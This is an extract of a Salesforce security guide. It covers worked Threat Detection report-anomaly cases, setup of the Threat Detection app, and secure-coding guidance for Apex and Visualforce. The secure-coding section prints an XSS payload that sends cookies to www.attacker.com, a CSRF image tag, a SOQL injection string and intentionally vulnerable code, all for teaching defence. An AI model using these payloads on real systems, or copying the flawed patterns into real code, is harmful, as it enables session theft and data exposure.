Field: ReportAnomalyEvent.SourceIp
Consider the size of the report.
We consider the size of the report to determine if the report generation was anomalous. A user generating a larger report than usual
can indicate an unauthorized data export attempt. For example, an attacker obtained unauthorized access to the user's account and
exfiltrate as much data as possible before losing access. Alternatively, it could mean that a disgruntled employee is exfiltrating data
for use beyond the needs of the employer.
Field: ReportAnomalyEvent.SecurityEventData (specifically the rowCount feature name)
Not all anomalies are malicious.
While some anomalies can indicate a malicious intent, other anomalies can be legitimate but unusual. Our detection model can
produce detection events that are unusual but not malicious. For example, if an employee gets promoted to a new role and starts
generating larger reports, our model can flag this behavior as anomalous.

SEE ALSO:
Training and Inference Steps
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

Report Anomaly Detection Examples

Here are several examples that illustrate how you can investigate anomalous report events
EDITIONS
thoroughly.
Available in: Salesforce
IN THIS SECTION: Classic and Lightning
Experience
Detection Event Isn’t Anomalous
Jason is a sales data analyst who reports to the regional sales manager. It’s Jason’s job to generate Available in: Enterprise,
reports for his manager’s sales calls. On March 27, 2019, Jason’s account was used to generate Unlimited, and Developer
a report. Alia, the administrator for Jason’s org, noticed a ReportAnomalyEvent about this report Editions
generation activity. Requires Salesforce Shield
Detection Event Possibly Anomalous or Salesforce Event
Monitoring add-on
Rob recently joined the company as a customer success representative. On Jan 15, 2019, Rob’s
subscriptions.
account was used to generate a report. Tony, the org’s Salesforce admin, noticed a
ReportAnomalyEvent about this report generation activity.
Detection Event Is Definitely Anomalous but Maybe Not Malicious
Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels, she generally, but not consistently,
use her company’s VPN to log into Salesforce.

334
Salesforce Security Guide Threat Detection

Detection Event Is Confirmed Malicious

John, a sales rep based in San Francisco, often travels for work. He regularly downloads reports of his leads for his weekly sales
presentations. John has access to 500-1,000 leads and his weekly report downloads typically contain 500–1,000 rows.

Detection Event Isn’t Anomalous

Jason is a sales data analyst who reports to the regional sales manager. It’s Jason’s job to generate
EDITIONS
reports for his manager’s sales calls. On March 27, 2019, Jason’s account was used to generate a
report. Alia, the administrator for Jason’s org, noticed a ReportAnomalyEvent about this report Available in: Salesforce
generation activity. Classic and Lightning
The event contained this information. Experience

Available in: Enterprise,

ReportAnomalyEvent Field Value Unlimited, and Developer
Score 97.9801 Editions
Requires Salesforce Shield
SourceIp 96.43.144.30 or Salesforce Event
EventDate 2019-03-27T07:45:07.192Z Monitoring add-on
subscriptions.
UserId 00530000009M946

Report 00OD0000001leVCMAY

SecurityEventData (see next table)

The SecurityEventData field contained this information.

featureName featureValue featureContribution

rowCount 17234 60.2%

dayOfWeek 0 25.6%

numberColumns 12 12.5%

numberFilters 11 1.04%

periodOfDay Night 0.65%

Alia notices that this report had approximately 17k rows generated on a Sunday. She decides to investigate further. Using the UserId
field value, Alia identifies Jason as the user. She then looks through Jason’s past report generation activity using the ReportEvent event.
She notices that Jason, a sales data analyst, generates reports of varying sizes, ranging from just a handful of rows to 20k rows. Alia also
notices that Jason often accompanies his manager on road shows, which often involves working Sundays and nights.
Alia concludes that this detection event wasn’t anomalous because the report generation activity is well within Jason's typical activity.

SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

335
Salesforce Security Guide Threat Detection

Detection Event Possibly Anomalous

Rob recently joined the company as a customer success representative. On Jan 15, 2019, Rob’s
EDITIONS
account was used to generate a report. Tony, the org’s Salesforce admin, noticed a
ReportAnomalyEvent about this report generation activity. Available in: Salesforce
The event contained this information. Classic and Lightning
Experience
ReportAnomalyEvent Field Value Available in: Enterprise,
Score 96.4512 Unlimited, and Developer
Editions
SourceIp 96.43.144.28
Requires Salesforce Shield
EventDate 2019-01-15T07:45:07.192Z or Salesforce Event
Monitoring add-on
UserId 00530000009M945 subscriptions.
Report 00OD0000001leVCMAY

SecurityEventData (see next table)

The SecurityEventData field contained this information.

featureName featureValue featureContribution

rowCount 46008 58.65%

userAgent - 30.23%

averageRowSize 1534 6.58%

browserCodecs - 2.33%

acceptedLanguages - 2.19%

Tony notices that the rowCount feature is a bit high for their org. The second-ranking feature is userAgent with a feature contribution
of around 30%. This percentage indicates that this user agent is not common for their org. Tony investigates further and finds Rob with
the UserId field. Tony notices that Rob is a relatively new employee. By looking at the ReportEvent events, Tony notices that Rob
occasionally generates reports of 46k rows. Because Rob is a relatively new employee, Tony can’t be certain whether this report matches
Rob’s typical activity pattern.
Tony concludes that this detection is possibly nomalous, although he doesn’t take any threat mitigation actions now.

SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

336
Salesforce Security Guide Threat Detection

Detection Event Is Definitely Anomalous but Maybe Not Malicious

Alice is a sales rep based in St. Louis. She’s often on the road to meet with clients. When she travels,
EDITIONS
she generally, but not consistently, use her company’s VPN to log into Salesforce.
On July 27, 2015, Alice’s account was used to generate a report from a relatively new IP address. Available in: Salesforce
Bob, the administrator for Alice’s org, noticed a ReportAnomalyEvent about this report generation Classic and Lightning
activity. The event contained this information. Experience

Available in: Enterprise,

ReportAnomalyEvent Field Value Unlimited, and Developer
Score 95.0158 Editions
Requires Salesforce Shield
SourceIp 96.43.144.27 or Salesforce Event
EventDate 2015-07-27T07:45:07.192Z Monitoring add-on
subscriptions.
UserId 00530000009M944

Report 00OD0000001leVCMAY

SecurityEventData (see next table)

The SecurityEventData field contained this information.

featureName featureValue featureContribution

autonomousSystem Softbank Corp 73.4%

rowCount 50876 15.6%

userAgent - 9.9%

numberFilters 11 0.81%

periodOfDay Night 0.21%

Bob notices that the autonomous system—derived from the IP address—is the top-ranked feature with 73.4% feature contribution.
This percentage indicates that Alice rarely uses this autonomous system. Bob also notices that the report has around 50k rows, which is
not small for this org. Bob then uses the UserId to identify the user as Alice. By looking at the ReportEvent events, Bob notices that Alice
typically generates reports containing 1,000–10,000 rows. But on rare occasions, Alice generated reports with more than 50k rows. The
userAgent has a smaller feature contribution, which could be attributed to Alice using her mobile device less when she travels. The
numberFilters and periodOfDay features have small feature contributions, and are therefore not important.
Because Alice rarely uses this autonomous system and the report is bigger than what Alice typically generates, Bob concludes that this
report falls outside of typical activity. However, Bob is unable to verify whether Alice or an attacker committed this malicious act. He
attempts to get more information on this incident before pursuing any threat mitigation actions.

SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

337
Salesforce Security Guide Threat Detection

Detection Event Is Confirmed Malicious

John, a sales rep based in San Francisco, often travels for work. He regularly downloads reports of
EDITIONS
his leads for his weekly sales presentations. John has access to 500-1,000 leads and his weekly report
downloads typically contain 500–1,000 rows. Available in: Salesforce
On May 12, 2019, however, a report of 996,262 rows was downloaded using John’s account. Kate, Classic and Lightning
the administrator for John’s org, noticed a ReportAnomalyEvent about this report generation activity. Experience
The event contained this information.
Available in: Enterprise,
Unlimited, and Developer
ReportAnomalyEvent Field Value Editions
Score 95.48515 Requires Salesforce Shield
or Salesforce Event
SourceIp 96.43.144.26 Monitoring add-on
EventDate 2019-05-12T12:22:10.298+00:00 subscriptions.

UserId 00530000009M943

Report 00OD0000001leVCMAY

SecurityEventData (see next table)

The SecurityEventData field contained this information.

featureName featureValue featureContribution

rowCount 996262 99.37%

autonomousSystem Starbucks Coffee Company 0.27%

dayOfWeek Sunday 0.13%

averageRowSize 1507 0.06%

userAgent - 0.02%

Kate starts an investigation to dig deeper. She uses the UserId to determine that the report was downloaded using John’s account. She
then searches the ReportEvent events for John and notices that he generates weekly reports, but they contain only 500–1,000 rows. The
table shows that rowCount contributes nearly 100% to this anomaly. This feature contribution value is a numerical value that indicates
the importance of rowCount in flagging this report generation activity as an anomaly. Because John has a consistent history of generating
small reports (500–1,000 rows), a report with a million rows is a noticeable departure from that trend. This fact generates the high feature
contribution value.
Upon further investigation, Kate discovers that John’s account was hacked and the attacker escalated John’s access privileges to access
data for the entire sales team. As a result, the report contained sales leads for the entire sales team instead of only the sales leads assigned
to John.
Kate concludes that this detection event is malicious and takes further threat mitigation actions.

SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent

338
Salesforce Security Guide Threat Detection

API Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same
EDITIONS
user. We use the metadata in Salesforce Core application logs about API generation and surrounding
activities to build a baseline model of the historical activity. We then compare any new API generation Available in: Salesforce
activity against this baseline to determine if the new activity is sufficiently different to be called an Classic and Lightning
anomaly. We don't look at the actual data that a user interacts with— we look at how the user Experience
interacts with the data.
Available in: Enterprise,
Unlimited, and Developer
Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

View Threat Detection Events and Provide Feedback

Launch the Threat Detection app and view all the detected threats that occurred in your Salesforce
EDITIONS
org. Threats include anomalies in how users run reports, session hijacking attempts, and credential
stuffing. Use the same app to easily provide feedback about the severity of a specific threat. Available in: Salesforce
Classic and Lightning
IN THIS SECTION: Experience

Make the Threat Detection App Visible to Users Available in: Enterprise,
Before you can view the Threat Detection events in Salesforce and provide feedback, you must Unlimited, and Developer
make the app visible to users. You also specify which of the four tabs are visible to different Editions
user profiles. Requires Salesforce Shield
View Events and Provide Feedback or Salesforce Event
Monitoring add-on
View recent or all Threat Detection events using the Threat Detection app in the Salesforce UI.
subscriptions.
The displayed events are stored in their corresponding storage objects:
ReportAnomalyEventStore, SessionHijackingEventStore, and CredentialStuffingEventStore.
Associate a feedback object with a particular event to record the severity of the threat, such as USER PERMISSIONS
Malicious or Not a Threat.
User Permissions Needed
To view the Threat Detection
events:
• View Threat Detection
Events

339
Salesforce Security Guide Threat Detection

Make the Threat Detection App Visible to Users

Before you can view the Threat Detection events in Salesforce and provide feedback, you must
EDITIONS
make the app visible to users. You also specify which of the four tabs are visible to different user
profiles. Available in: Salesforce
1. Use Event Manager to enable streaming and storage for the three Threat Detection events: Classic and Lightning
ReportAnomalyEvent, SessionHijackingEvent, and CredentialStuffingEvent. Experience

2. Create a permission set that’s associated with the Salesforce license. Available in: Enterprise,
3. Edit the System Permissions page of your permission set and enable the View Threat Detection Unlimited, and Developer
Editions
Events permission.
Requires Salesforce Shield
4. Assign the permission set to the user who administers the Threat Detection app.
or Salesforce Event
Salesforce recommends that you create a profile specifically for security administrators who are Monitoring add-on
responsible for managing threat detections. For example, create a profile called Threat Detection subscriptions.
Administrator. Then assign the permission set to a user with the Threat Detection Administrator
profile.
USER PERMISSIONS
5. Edit the Tab Settings of each user profile that uses the Threat Detection app and specify the
visibility of the four tabs. The four tabs are named Report Anomaly Event Store, Session Hijacking User Permissions Needed
Event Store, Credential Stuffing Event Store, and Threat Detection Feedback.
To view the Threat Detection
For example, system administrators usually access everything in the UI, so set the visibility of events:
all four tabs to Default On for the System Administrator profile. If you created a Threat Detection • View Threat Detection
Administrator profile, set the same visibility. If you don’t want standard users to view feedback, Events
set the visibility of Threat Detection Feedback for the Standard User profile to Tab Hidden.

6. In Setup, navigate to the Lightning Experience App Manager by entering App Manager in
the quick search box.
7. Edit the Threat Detection app by selecting Edit in the dropdown box to the right of the app.

8. In the Assign to Profiles section, select the profiles for which the Threat Detection app is visible.

9. Save your changes.

340
Salesforce Security Guide Threat Detection

The Threat Detection app is now visible to selected users.

SEE ALSO:
Salesforce Help: Monitor Streaming Events with Event Manager
Salesforce Help: Permission Sets
Salesforce Help: App and System Settings in Permission Sets
Salesforce Help: View and Edit Tab Settings in Permission Sets and Profiles

View Events and Provide Feedback

View recent or all Threat Detection events using the Threat Detection app in the Salesforce UI. The
EDITIONS
displayed events are stored in their corresponding storage objects: ReportAnomalyEventStore,
SessionHijackingEventStore, and CredentialStuffingEventStore. Associate a feedback object with a Available in: Salesforce
particular event to record the severity of the threat, such as Malicious or Not a Threat. Classic and Lightning
By default, the Threat Detection app isn’t visible in Salesforce. If necessary, make it visible as described Experience
in Make the Threat Detection App Visible to Users.
Available in: Enterprise,
1. From App Launcher, click Threat Detection. Unlimited, and Developer
Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.

USER PERMISSIONS

User Permissions Needed

2. Click the tabs for list views of recent or all events stored in the ReportAnomalyEventStore,
SessionHijackingEventStore, or CredentialStuffingEventStore objects. To view the Threat Detection
events:
3. To view an event’s details, click its link. Information such as the date the event occurred, its • View Threat Detection
score, and a summary of the event is displayed. Events
Each type of event displays other details appropriate to the type of detected threat. For example,
the Session Hijacking Event Store tab displays previous and current browser fingerprint
information. The Report Anomaly Event Store tab displays the report ID associated with the detected threat.
Click Related to view the associated feedback, if any.

4. Click Provide Feedback to specify whether a specific detected threat is Malicious, Suspicious, Not a Threat, or Unknown.
You can associate only one feedback object with each event. If you try to provide more than one feedback object, you get an error.
If the severity of a threat changes after you provided feedback, edit the response.

341
Salesforce Security Guide Security Guidelines for Apex and Visualforce Development

SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects

Security Guidelines for Apex and Visualforce Development

Understand and guard against vulnerabilities in your code as you develop custom applications.
EDITIONS

Available in: Salesforce

Understanding Security Classic (not available in all
The powerful combination of Apex and Visualforce pages allow Lightning Platform developers to orgs)
provide custom functionality and business logic to Salesforce or create a completely new stand-alone
Available in: Group,
product running inside the Lightning Platform. However, as with any programming language, Professional, Enterprise,
developers must be cognizant of potential security-related pitfalls. Performance, Unlimited,
Salesforce has incorporated several security defenses into the Lightning Platform itself. However, Developer, and
careless developers can still bypass the built-in defenses in many cases and expose their applications Database.com Editions
and customers to security risks. Many of the coding mistakes a developer can make on the Lightning Visualforce is not available
Platform are similar to general Web application security vulnerabilities, while others are unique to in Database.com.
Apex.
To certify an application for AppExchange, it’s important that developers learn and understand the
security flaws described here. For additional information, see the Lightning Platform Security Resources page on Salesforce Developers
at https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.

342
Salesforce Security Guide Cross-Site Scripting (XSS)

For example, assume the following script is included in a Lightning Platform page using a script component, an on* event, or a
Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Lightning Platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

343
Salesforce Security Guide Formula Tags

Programming Items Not Protected from XSS

The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Lightning Platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include
a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Which renders output similar to the following:

<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions
are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This
can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable
data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created
by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

344
Salesforce Security Guide Cross-Site Request Forgery (CSRF)

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of
the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE()
calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts,
can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is
probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included
HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still

345
Salesforce Security Guide SOQL Injection

authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Lightning Platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {

public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CSRF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection

346
Salesforce Security Guide SOQL Injection

• http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex

Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>

public class SOQLController {

public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:

// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.

SOQL Injection Defenses

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable
example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}

347
Salesforce Security Guide Data Access Control

set { name = value;}

}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.

Data Access Control

The Lightning Platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which
users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The
default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not
enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden
from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For
example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.

348
INDEX

customizations 215
A
Access D
about 82
data encryption 143–144, 152–153, 168–175, 216
revoking 83
data visibility 162
Administrative permissions 81
definitions 156, 202
apex 287
deploy 163
Apex classes 248, 281, 286
Desktop clients
api event 265
setting user access 15
App permissions 81
destroy key material 188, 190–191, 210
apps 231
deterministic encryption 177–179, 226
attachments 153, 172
Device
Auditing
lost device 63–64
fields 237
lost phone 63–64
Device activation 10
B disable encryption 177
background encryption 184–186, 188, 190
duplicate management 216
baseline 4
best practices for Shield Platform Encryption 220 E
Bring Your Own Key (BYOK) 161, 192–198, 200
Einstein Analytics 153, 175
encrypt Chatter 173
C encryption policy 143, 163, 168–173, 175, 177
Cache-Only Key 200–202, 204, 206, 208–212
encryption process 155, 158
Change Data Capture 153, 175
encryption statistics 184–186, 190
Chatter 153
Enhanced profile user interface
classic encryption 157
desktop client access 15
Communities
enhanced transaction security 276, 287
authentication 58
enhanced transaction security policy 297, 301–303, 308–311, 313,
security 58
319
compatibility 176
Event Bus 175
condition 265, 268, 270
Event Manager 253
Condition Builder 262, 265, 268, 270, 274, 276
examples 276
conditions 265, 268, 270
export key material 184
considerations 211, 219, 222, 226, 230–231
Cookies 7, 15 F
creating 245
Field Audit Trail 238
custom fields 152, 169–171
Field History 238
Custom objects
field limits 230
permissions 93
Field-level security
Custom permissions
permission sets 115
creating 97
profiles 115
editing 98
fields 144
enabling in permission sets 90
Fields
enabling in profiles 111
access 115
Custom views
auditing 237
permission sets 84
field-level security 115

349
Index

Fields (continued)
history 237
M
managed packages 171
tracking changes 237
masking 162
files 153, 172
matching rules 216
formulas 217
migrate 297, 301–303, 308–311, 313, 319
G Modify All permission 94–95
multi-factor authentication 61, 191
General permissions 81
Multi-factor authentication 10, 55, 58, 60, 63–64
Groups
member types 136
N
H named credential 206
nonce 208
health check 4
High assurance 39
History
O
Object permissions 93, 95
disabling field tracking 237
opt-out of key derivation 197
fields 237
Organization-wide sharing settings
I setting 141
user records 134
identity verification 60
Identity verification 37, 63–64
Inline editing
P
Page layouts
permission sets 85
assigning 103
K Password
Apex 64
key management 181–186, 188, 190–191, 194–196, 198, 204
change user 10, 55, 58
key material 166–167
identity confirmation 55, 64
key types 167
identity verification 10, 55, 58, 64
L login verification 10, 55, 58, 64
multi-factor authentication 10, 55, 58, 64
legacy 297, 301–303, 308–311, 313, 319
Passwords
Lightning Experience 230
change 9
Login
changing by user 61
failures 233
expire passwords 27
history 233
expiring 7, 15
hours, restricting 21
identity confirmation 61
IP address ranges, restricting 19–20
login verification 61
restricting 10, 16
policies 7, 15
login event 268, 270
reset passwords 27
Login Flow
Permission sets
connect 42
about 83
create 41
app permissions 81
overview 11, 40
assigned users 90
login verification 60
assigning to a single user 91
Logout events
assigning to multiple users 92
LogoutEventStream 259
editing 85
LogoutEventStream
list views, creating and editing 84
logout events 259
navigating 87
object permissions 93

350
Index

Permission sets (continued) Reset password

record types 88 all 27
removing user assignments 92
searching 87 S
system permissions 81 Salesforce B2B Commerce 153
permissions 165 SAML
Permissions single sign-on 58
about 82 sandbox 161
administrative 81 script for BYOK key 195
app 81 search index 160, 174
field 115 Search Indexes 153
general 81 Searching
Modify All 94 permission sets 87
object 93, 95 Security
revoking 83 Apex policy classes 248
system 81 Apex policy classes examples 281, 286
user 81 auditing 5
View All 94 cookies 7, 15
Phone creating 262, 265, 268, 270, 274
lost device 63–64 enhanced transaction security implementation examples
lost phone 63–64 281, 286
platform encryption 171 field-level security 115
Platform Events 175 login challenge 10, 16
policies 245, 262, 265, 268, 270, 274 login IP address ranges 19–20
prerequisites 202 network 10, 16
Profiles overview 2
cloning 109 session 11
creating 109 setting up 245
